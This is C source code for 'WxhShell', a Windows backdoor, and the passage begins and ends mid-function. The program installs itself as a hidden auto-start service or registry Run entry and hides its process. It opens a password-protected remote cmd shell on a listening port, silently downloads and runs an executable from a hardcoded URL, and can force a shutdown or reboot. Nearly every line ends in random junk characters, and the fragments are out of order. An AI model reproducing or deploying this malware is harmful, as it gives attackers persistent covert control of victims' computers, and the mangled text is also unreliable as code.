  case 'd': { ^`b&fb v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Tj &PB_v1  
    if(Boot(SHUTDOWN)) ?v-Y1j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jG($:>3a@  
    else { d D6I @N)X  
    closesocket(wsh); _isqk~ ul  
    ExitThread(0); f tBbO8e  
    } Cj~45)r  
    break; a[TR_ uR  
    }  LW?Zd=  
  // 获取shell LxqK@Q<B  
  case 's': { ,(aOTFQS  
    CmdShell(wsh); !'uLV#YEZ  
    closesocket(wsh); >r Nff!Ow  
    ExitThread(0); Y|ONCc  
    break; diXb8L7B;  
  } Wtl0qug  
  // 退出 mNcoR^(VN  
  case 'x': { cSdkhRAn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CPRv"T;?  
    CloseIt(wsh); ,:yv T6)p  
    break; =n $@  
    } u<8 f ;C_  
  // 离开 {"<6'2T3  
  case 'q': { ml7nt 0{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yX:A?U  
    closesocket(wsh); .Z=4,m>  
    WSACleanup();  =[Lo9Sg  
    exit(1); $lkd9r1   
    break; x;H#-^LxW=  
        } RB]K?  
  } ]W,K}~!   
  } >z0~!!YZ  
/<Nb/#8  
  // 提示信息 m5K B#\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~50b$];y  
} V>#iR>w_4,  
  } NwQexYm1_  
z-(#Mlq:!  
  return; %(4G[R[  
} ~$g$31/  
tPO\e]  
// shell模块句柄 1$,t:/'-4  
int CmdShell(SOCKET sock) gI^);J rTE  
{ M1._{Jw5  
STARTUPINFO si; rCcNu  
ZeroMemory(&si,sizeof(si)); Qxds]5WB/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )tQG5.to  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e'<pw^I\  
PROCESS_INFORMATION ProcessInfo; 6T%5vg_};'  
char cmdline[]="cmd"; Y.$InQ gL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :SxOQ(n  
  return 0; a/@<KnT  
} Sz0M8fYT]  
[BS3y`c  
// 自身启动模式 y^; =+Z  
int StartFromService(void) "cerg?ix  
{ j7;v'eA`;7  
typedef struct Ks&~VU  
{ YxMOr\B  
  DWORD ExitStatus; K GlO;Q~7  
  DWORD PebBaseAddress; 6T6 S9A*nT  
  DWORD AffinityMask; %N)o*H&  
  DWORD BasePriority; v4L#^Jw(^p  
  ULONG UniqueProcessId; j=v1:E  
  ULONG InheritedFromUniqueProcessId; .8is! TT  
}   PROCESS_BASIC_INFORMATION; O[RmQ8ll  
_]E ~ci}  
PROCNTQSIP NtQueryInformationProcess; # k+Gg w  
VQHJ O I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vv(!Ki}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s{q)m@  
{ .KCK_ d  
  HANDLE             hProcess; *[*E|by  
  PROCESS_BASIC_INFORMATION pbi; p},6W,f  
iKB8V<[\T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I`h9P2~  
  if(NULL == hInst ) return 0; )Q 8T`Tly  
& -  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); db"FC3/H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bwM>#@H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i |>K  
UTQ$sg|7p  
  if (!NtQueryInformationProcess) return 0; lo:]r.lX{  
HMNjQ 1y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hCO*gtA)M  
  if(!hProcess) return 0; oS)0,p  
zypZ3g{vz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gf+Kr02~  
9vL`|`Vau  
  CloseHandle(hProcess); G8`q-B}q  
LGT\1u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e , zR  
if(hProcess==NULL) return 0; /:>f$k4~h  
Ygn"7  
HMODULE hMod; L@?Dmn'v  
char procName[255]; HZ=Dd4!  
unsigned long cbNeeded; 8?W!U*0aS  
]}9cOb%I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YZ\$b=-  
!B?/6XRUx  
  CloseHandle(hProcess); NFGC.<  
 ,[ +  
if(strstr(procName,"services")) return 1; // 以服务启动 P0$q{ j  
u;DF$   
  return 0; // 注册表启动 Y',s|M1})\  
} UuxWP\~2  
TQK>w'L  
// 主模块 b@N|sXt&C  
int StartWxhshell(LPSTR lpCmdLine) K&"Yv~h  
{ `Oys&]vb  
  SOCKET wsl; 1W-t})!a  
BOOL val=TRUE; Ig1cf9 :  
  int port=0; H;,cUb  
  struct sockaddr_in door; 5(>m=ef"  
lfu1PCe5  
  if(wscfg.ws_autoins) Install(); ^BjwPh4Z#  
 DVD}  
port=atoi(lpCmdLine); ~!]FF}6  
:<%K6?'@^  
if(port<=0) port=wscfg.ws_port; mBc;^8I?23  
,KkENp_  
  WSADATA data; wpY%"x#-+=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H's67E/>*  
-]5dD VSO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8x'rNb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); df#DKV:  
  door.sin_family = AF_INET; pw:<a2.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  yyk[oH-Q  
  door.sin_port = htons(port); (|ga#%iI  
^`YSl*:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r0QjCFSF=  
closesocket(wsl); FqsG#6|x  
return 1; 3z: rUhA  
} qYIBP?`g  
EBw}/y{Kt  
  if(listen(wsl,2) == INVALID_SOCKET) { )aqu f<u@  
closesocket(wsl); u4$d#0sA  
return 1; dT,X8 "  
} i[d-n/)  
  Wxhshell(wsl); KBzEEvx/$  
  WSACleanup(); 6luCi$bL  
)QaJYC^+  
return 0; m*P~X*St  
9R>A,x(  
} -+|0LXo  
4_PMl6qo  
// 以NT服务方式启动 *~4uF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F.?:Gd1  
{ 5#d"]7  
DWORD   status = 0; ~n]:f7?I  
  DWORD   specificError = 0xfffffff; t>&$_CSWK  
 ceVej'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;^}cZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,k{{ZP P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \I#lLP  
  serviceStatus.dwWin32ExitCode     = 0; UN| "D]>/  
  serviceStatus.dwServiceSpecificExitCode = 0; ]ZO^@sH  
  serviceStatus.dwCheckPoint       = 0; !i_5Xc H  
  serviceStatus.dwWaitHint       = 0; 3X0^xUA6  
* _C6. %{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~u%9@}Oo>  
  if (hServiceStatusHandle==0) return; $q.8ve0&^  
$+JaEF`8  
status = GetLastError(); VbBZ\`b  
  if (status!=NO_ERROR) &[S)zR=?  
{ 3z&,>CEX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z i7(lG  
    serviceStatus.dwCheckPoint       = 0; sPkT>q  
    serviceStatus.dwWaitHint       = 0; ,2H5CFX/  
    serviceStatus.dwWin32ExitCode     = status; OD>-^W t;%  
    serviceStatus.dwServiceSpecificExitCode = specificError; ; {I{X}b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rVQ:7\=Z  
    return; u9mMkzgSkP  
  } `ZV;Le '  
d^]wqnpf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ow/ /#:  
  serviceStatus.dwCheckPoint       = 0; X@x: F|/P  
  serviceStatus.dwWaitHint       = 0; plfz)x3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X~GZI*P  
} &xH>U*c  
f=~@e#U  
// 处理NT服务事件,比如:启动、停止 i-sE\m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xZ`t~4qR  
{ zd#qBj]g  
switch(fdwControl) 3p!R4f)GN  
{ _3A$z A  
case SERVICE_CONTROL_STOP: #: ' P3)&  
  serviceStatus.dwWin32ExitCode = 0; %PlPXoG=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .h~)|" uzW  
  serviceStatus.dwCheckPoint   = 0; %<1fj#X8  
  serviceStatus.dwWaitHint     = 0; qcQ`WU{  
  { X:8=jHkz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J_rCo4}  
  } EF)kYz!@  
  return; c~R ElL  
case SERVICE_CONTROL_PAUSE: \FVR'A1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =\X<UA}  
  break; ODv)-J  
case SERVICE_CONTROL_CONTINUE: 1Lj\"+.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )}G HG#D{  
  break; !3yR?Xem}  
case SERVICE_CONTROL_INTERROGATE: &e,xN;  
  break; qf24l&}  
}; WHE*NWz>q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j nI)n*  
} C6'[Tn  
#"i}wS  
// 标准应用程序主函数 -fUz$Df/R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T'Jw\u>"R  
{ >@ H:+0h-  
3: mF!  
// 获取操作系统版本 rX;(48Y  
OsIsNt=GetOsVer(); X$JKEW;0BP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2vj)3%:7#E  
Q.\+ XR_|  
  // 从命令行安装 xu+wi>Y^  
  if(strpbrk(lpCmdLine,"iI")) Install(); N SHlo*)}  
iy$]9Wf6=@  
  // 下载执行文件 ) 3Y E$,  
if(wscfg.ws_downexe) { P.;B V",  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [&FMVM`  
  WinExec(wscfg.ws_filenam,SW_HIDE); mhlJzGr*q  
} +hXph  
zT_{M qY  
if(!OsIsNt) { -pqShDar|  
// 如果时win9x,隐藏进程并且设置为注册表启动 'Iu$4xo`[  
HideProc(); Ypv"u0  
StartWxhshell(lpCmdLine); /-BplU*"9  
} |_O; U=2  
else i"w$D{N  
  if(StartFromService()) a |z{B b  
  // 以服务方式启动 $: Qi9N   
  StartServiceCtrlDispatcher(DispatchTable); d54>nycU~N  
else .P,\69g~A  
  // 普通方式启动 f0wQn09  
  StartWxhshell(lpCmdLine); ,T&B.'cq  
^=R>rUCmv  
return 0; ]4z?sk@  
} b;x^>(It  
bd)A6a\h  
s BRw#xyS  
,HMB`vF  
=========================================== 4qyL' \d[  
@9vz%1B<l  
+;cw<9%0  
Yj0Ss{Ep  
H3a}`3}U  
{ Ja#pt  
"  d(v )SS  
 NsJUruN  
#include <stdio.h> !Rsx)  
#include <string.h> )*s.AFu]7x  
#include <windows.h> vNJ!i\bX  
#include <winsock2.h> hsfVKlw-  
#include <winsvc.h> 1RcaE!\p  
#include <urlmon.h> ?"sk"{  
rvr Ok  
#pragma comment (lib, "Ws2_32.lib") ]MB ^0:F-  
#pragma comment (lib, "urlmon.lib") pazFVzT  
5jYRIvM[Q~  
#define MAX_USER   100 // 最大客户端连接数 Ah)7A|0rT  
#define BUF_SOCK   200 // sock buffer ^'FY!^dE  
#define KEY_BUFF   255 // 输入 buffer F*I{?NRN1  
xQJdt $]U@  
#define REBOOT     0   // 重启 26\1tOj Np  
#define SHUTDOWN   1   // 关机 z ^a,7}4  
Y%wF;I1x  
#define DEF_PORT   5000 // 监听端口 >nl *aN  
!vett4C* K  
#define REG_LEN     16   // 注册表键长度 -{L[Wt{1  
#define SVC_LEN     80   // NT服务名长度 GD*6tk;5/  
fMLm_5(H  
// 从dll定义API Yq;S%.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @+xkd(RfN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WVwNjQ2PM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0c:CA>F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -?e~S\JH  
roRZE[ya  
// wxhshell配置信息 }A2@1TTPX  
struct WSCFG { =|?w<qc  
  int ws_port;         // 监听端口 AK [9fxrE  
  char ws_passstr[REG_LEN]; // 口令 ADHe! [6q  
  int ws_autoins;       // 安装标记, 1=yes 0=no {}lw%d?A  
  char ws_regname[REG_LEN]; // 注册表键名 YTYYb#"Q  
  char ws_svcname[REG_LEN]; // 服务名 2@^8{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "$Rl9(}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lWOB!l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M}@^8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JBjz2$ZM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L2K4nTA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0n3O;=[aV  
b5H[~8mf  
}; ICV67(Ui  
ZC0F:=/K  
// default Wxhshell configuration x$M[/ID0  
struct WSCFG wscfg={DEF_PORT, [0IeEjL  
    "xuhuanlingzhe", n}?kQOg0/  
    1, Ui1K66{  
    "Wxhshell", -{P)\5.L  
    "Wxhshell", TWxMexiW  
            "WxhShell Service", ,P9B8oIq  
    "Wrsky Windows CmdShell Service", LW,!B.`@  
    "Please Input Your Password: ", ]HCt%5  
  1, ]A'e+RD4k  
  "http://www.wrsky.com/wxhshell.exe", nre8 F  
  "Wxhshell.exe" Grw_SVa^  
    }; ; G E0iSC  
L@[bgN`=v  
// 消息定义模块 +%>L;'L ^X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kv5D=0r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $RF"m"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LY^BkH'  
char *msg_ws_ext="\n\rExit."; , :kCt=4%  
char *msg_ws_end="\n\rQuit."; [& hdyLt  
char *msg_ws_boot="\n\rReboot..."; ;l?>+m@H  
char *msg_ws_poff="\n\rShutdown..."; -G*u2i_*  
char *msg_ws_down="\n\rSave to "; <vbk@d  
hr)TC-  
char *msg_ws_err="\n\rErr!"; !TG"AW  
char *msg_ws_ok="\n\rOK!"; 1uD}V7_y"  
\>jK\j  
char ExeFile[MAX_PATH]; Uvz9x"0[u  
int nUser = 0; vmmu[v  
HANDLE handles[MAX_USER]; Wje7fv  
int OsIsNt; l sUQ7%f  
1bvL  
SERVICE_STATUS       serviceStatus; 9`vse>,-hg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2@A7i<p  
Y3-15:-  
// 函数声明 o]k[l ;  
int Install(void); -4HI9Czts  
int Uninstall(void); W;0_@!?mr}  
int DownloadFile(char *sURL, SOCKET wsh); U;{VL!  
int Boot(int flag); I:Z38xz-[  
void HideProc(void); j&#p&`B  
int GetOsVer(void); 4V[+6EV  
int Wxhshell(SOCKET wsl); sb8SG_c.  
void TalkWithClient(void *cs); Zi|'lHr  
int CmdShell(SOCKET sock); H)(Jjk-O  
int StartFromService(void); %Cm4a49FNi  
int StartWxhshell(LPSTR lpCmdLine); L- =^GNh  
VoP(!.Ua>7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,rTR |>Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [;tbNVZK  
=>BT]WK>  
// 数据结构和表定义 |NM.-@1  
SERVICE_TABLE_ENTRY DispatchTable[] = }*+ca>K  
{ U8.DPRa  
{wscfg.ws_svcname, NTServiceMain}, 5@Rf]'1B0  
{NULL, NULL} 0ED(e1K#B  
}; f#5mX&j  
sg9ZYWcL  
// 自我安装 s[Njk@y,  
int Install(void) J)o~FC]b*  
{ uRUysLIw  
  char svExeFile[MAX_PATH]; Q OdvzVy<  
  HKEY key; KXR  
  strcpy(svExeFile,ExeFile); hS<x+|'l  
9-L.?LG  
// 如果是win9x系统,修改注册表设为自启动 h{>8W0W*  
if(!OsIsNt) { !m^WtF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6Lz&"C,`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Le_?x  
  RegCloseKey(key); n1!u aUC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yz{UP)TC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R=PjLH&)  
  RegCloseKey(key); i%-c/ lop  
  return 0; Q@l3XNH|c  
    } ^>]p4Q3 6  
  } bD49$N?>  
} u6|7P<HUfb  
else { "esV#%:#J  
iUSs)[]H>  
// 如果是NT以上系统,安装为系统服务 *UEo&B2+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hX[hR  
if (schSCManager!=0) ]l&_Pv!!  
{ jQ`cfE$sV  
  SC_HANDLE schService = CreateService gKBcD\F  
  ( Dwwh;B  
  schSCManager, v`no dI  
  wscfg.ws_svcname, iiO4.@nT  
  wscfg.ws_svcdisp, ;l~gA|A  
  SERVICE_ALL_ACCESS, w'cZ\<N[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |%TH|?kB  
  SERVICE_AUTO_START, -KO E2f  
  SERVICE_ERROR_NORMAL, VIynlvy  
  svExeFile, !_zmm$bR  
  NULL, L+d_+:w  
  NULL, Y$% Ze]~  
  NULL, 4xg%OH  
  NULL, _.\p^ HM  
  NULL NlWIb2,  
  ); BcA:M\dK%  
  if (schService!=0) o3%Gc/6%  
  { vE&  
  CloseServiceHandle(schService); `ZNz Dr  
  CloseServiceHandle(schSCManager); M-0BQs`N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v')T^b F@  
  strcat(svExeFile,wscfg.ws_svcname); ?l bK;Kv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r=s2wjk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |8V+(Vzl  
  RegCloseKey(key); \W #M]Q  
  return 0; MheP@ [w|@  
    } 8]+hfB/  
  } 8+ Hho@=  
  CloseServiceHandle(schSCManager); U%U%a,rA5s  
} QiB:K Pz[  
} Z\`uI+`  
6(X(f;MEl  
return 1; YHg4WW$  
} C\ 9eR  
uiO8F*,!&r  
// 自我卸载 qfG`H#cA<  
int Uninstall(void) }J"}poB:  
{ c1!h;(&  
  HKEY key; F&I^bkvh  
# l}Y1^PDd  
if(!OsIsNt) { Y+j|T`d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (w)Qt/P^4  
  RegDeleteValue(key,wscfg.ws_regname); M%yT?R+  
  RegCloseKey(key); :C>slxY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D0tI  
  RegDeleteValue(key,wscfg.ws_regname); y \V!OY@  
  RegCloseKey(key); =][[TH  
  return 0; f~8Xue,l"  
  } >`\~=ivrD  
} aElEV e3  
} T [&1cth  
else { 6YYZ S2  
(t fADaJM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ANi}q9SC  
if (schSCManager!=0) mI9~\k&9  
{ M>8#is(pV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #t po@pJsE  
  if (schService!=0) VbJGyjx  
  { s$|GVv1B  
  if(DeleteService(schService)!=0) { F0]NtKaH  
  CloseServiceHandle(schService); Y|>y]x  
  CloseServiceHandle(schSCManager); :J}L| `U9  
  return 0; D+#QQH  
  } #k5Nnv#(J  
  CloseServiceHandle(schService); w}YO+  
  } x4R[Q&:M  
  CloseServiceHandle(schSCManager); U $e-e/  
} !&?(ty^F  
} @My-O@C>  
op/|&H'  
return 1; !fZ{ =  
} XwE(&ZCf'b  
.@.O*n#K  
// 从指定url下载文件 >>F E?@  
int DownloadFile(char *sURL, SOCKET wsh) 9;sebqC?  
{ @aWvN;v  
  HRESULT hr; W=%}~ 7*  
char seps[]= "/"; d1vC-n N  
char *token; 8v5cQ5Lc  
char *file; ##EMJi  
char myURL[MAX_PATH]; [f&ja[m q  
char myFILE[MAX_PATH]; ~UEft  
^4h/6^b0c  
strcpy(myURL,sURL); <jY"+@rF  
  token=strtok(myURL,seps); 0a ZplE,  
  while(token!=NULL) ggXg4~WL  
  { z3[ J>  
    file=token; |ILj}4ZA7  
  token=strtok(NULL,seps); $wub)^  
  } Nu<M~/  
nV@k}IJg:?  
GetCurrentDirectory(MAX_PATH,myFILE); @y2{LUJe  
strcat(myFILE, "\\"); >5'C<jc C  
strcat(myFILE, file); O#sDZ.EL  
  send(wsh,myFILE,strlen(myFILE),0); G?#f@N0.5p  
send(wsh,"...",3,0); U# G0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bb}|"m .  
  if(hr==S_OK) v&(PM{3o  
return 0; 71Q-_Hi  
else DUFfk6#X}  
return 1; {OXKXRCa  
M]vc W  
} .m9s+D]fI  
L$=6R3GI  
// 系统电源模块 +.! F]0ju  
int Boot(int flag) xi %u)p  
{ ~C\R!DN,  
  HANDLE hToken; ,Hlbl}.ls  
  TOKEN_PRIVILEGES tkp; iqRk\yq<  
Y1h8O%?  
  if(OsIsNt) { [:&4Tp*C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WA \ P`'lg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `07xW*K(\Y  
    tkp.PrivilegeCount = 1; h;u8{t"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |$f.Qs~?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >ZTRwy`_(  
if(flag==REBOOT) { 2/<VoK0b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S|CN)8Jsi  
  return 0; fzT|{vG8  
} z' z_6]5  
else { Po~{Mpe  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,9SBGxK5`  
  return 0; w@ALl#z;}  
} IlJ!jq  
  } nYhI0q  
  else { W|XW2`3p  
if(flag==REBOOT) { 7O',X Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8eCC =Az:  
  return 0; JPJ&k( P  
} IH(]RHTp%  
else { 4^/MDM@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jNd."[IrO  
  return 0; nd_+g2x'  
} \qj4v^\  
} HRS^91aK  
TmZ sC5  
return 1; |=&[sC  
} 2K[Y|.u8>q  
U$-Gc[=|  
// win9x进程隐藏模块 OHTJQ5%zL  
void HideProc(void) JVy-Y  
{ ~\B1\ G  
DyhW_PH2J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !~#zH0#  
  if ( hKernel != NULL ) 2_k2t ?   
  { lR3`4bHA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VbLwhA2W}F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }TfZ7~o[  
    FreeLibrary(hKernel); O~D>F*_^j  
  } YGFE(t;lPU  
2NMS '"8  
return; g-)izPX  
} @#m@ .   
)nE=H,U?y  
// 获取操作系统版本 \JjZ _R  
int GetOsVer(void) G(joamfM  
{ "V|&s/9  
  OSVERSIONINFO winfo; StZ GKY[Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jNV)=s^ed[  
  GetVersionEx(&winfo); H%y!lR{c^D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <vS3 [(  
  return 1; c"F3[mrff  
  else '&v.h#<  
  return 0; OynQlQD/Eu  
} K{DsGf ,  
Cb:}AQ=  
// 客户端句柄模块 2aj9:S  
int Wxhshell(SOCKET wsl) Ix~_.&  
{ ,cj531.  
  SOCKET wsh; 3'3E:}o|  
  struct sockaddr_in client; 55LW[Pc  
  DWORD myID; iR(=< >  
:qlcN@_  
  while(nUser<MAX_USER) tAPn? d5  
{ GS_+KR\  
  int nSize=sizeof(client); tE=;V) %we  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )w/ #T  
  if(wsh==INVALID_SOCKET) return 1; `hpX97v  
:xwyE(w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'LC-/_g  
if(handles[nUser]==0) 0o-. m  
  closesocket(wsh); u_31Db<  
else oJ4OVfknD  
  nUser++; +hiskV@v  
  } ^W8kt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zH)M,+P  
vU(uu:U9  
  return 0; 5ub|r0&M  
} R"Ff(1m  
T- ~l2u|s  
// 关闭 socket Pk{eGG<F$  
void CloseIt(SOCKET wsh) YL[n85l>1  
{ ?F=^& v8  
closesocket(wsh); L<dJWxf?D  
nUser--; >G#SfE$0  
ExitThread(0); WlJ=X$  
} r~2>_LK  
."X}A t  
// 客户端请求句柄 r. z=  
void TalkWithClient(void *cs) GycW3tc]_&  
{ ZsnFuk#W  
^mp#7OL  
  SOCKET wsh=(SOCKET)cs; kMS&"/z  
  char pwd[SVC_LEN]; M_BG :P5  
  char cmd[KEY_BUFF]; rg5ZxN|g  
char chr[1]; =(aA`:Nl  
int i,j; qz_'v{uAj  
a%g|E'\Jw  
  while (nUser < MAX_USER) { O-uno{Fd*  
(g HCu  
if(wscfg.ws_passstr) { ^osXM`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $:l>g)c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HP,sNiw  
  //ZeroMemory(pwd,KEY_BUFF); /8Wfs5N  
      i=0; a*kvU"]  
  while(i<SVC_LEN) { NoAgZ{))  
W[VbFsI&b  
  // 设置超时 }w_r(g?\  
  fd_set FdRead; U\'HB.P\  
  struct timeval TimeOut; fV(WUN+  
  FD_ZERO(&FdRead); n Y)H-u^  
  FD_SET(wsh,&FdRead); 7$ze RYD+  
  TimeOut.tv_sec=8; #Ch*a.tI@  
  TimeOut.tv_usec=0; V9:Jz Q=?`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ' pN[H\Ia  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I5%#A/|z  
]Y.GU7`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C0`Bi:Ze  
  pwd=chr[0]; zhdS6Gk+  
  if(chr[0]==0xd || chr[0]==0xa) { $S6%a9m   
  pwd=0; gfr+`4H>v  
  break; (/ qOY  
  } x$L(!ZDh  
  i++; 2j=i\B  
    } |O';$a1S  
" ZYdJHM  
  // 如果是非法用户,关闭 socket sF4+(9=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RW4,j&)  
} %a\L^w)Xn  
my]t[%Q{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WeiDg,]e$b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |PNPOj0  
m+!T $$W  
while(1) { 63PSYj(y  
^0tO2$  
  ZeroMemory(cmd,KEY_BUFF); }N0$DqP  
xQ0.2[*5  
      // 自动支持客户端 telnet标准   B?gFFU61  
  j=0; @,^c?v  
  while(j<KEY_BUFF) { V1-URC24vd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N|5fkx<d^  
  cmd[j]=chr[0]; CqVeR';2  
  if(chr[0]==0xa || chr[0]==0xd) { Wc HL:38  
  cmd[j]=0; y>! 8mDvZ  
  break; nl)l:A+q8  
  } "p@EY|Zv%I  
  j++; "xdu h3/~=  
    } fMm.V=/+  
=pk5'hBAi  
  // 下载文件 p6c&vEsNj  
  if(strstr(cmd,"http://")) { 1DR ih>+#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kMx^L;:n  
  if(DownloadFile(cmd,wsh)) @>Bgld&vl  
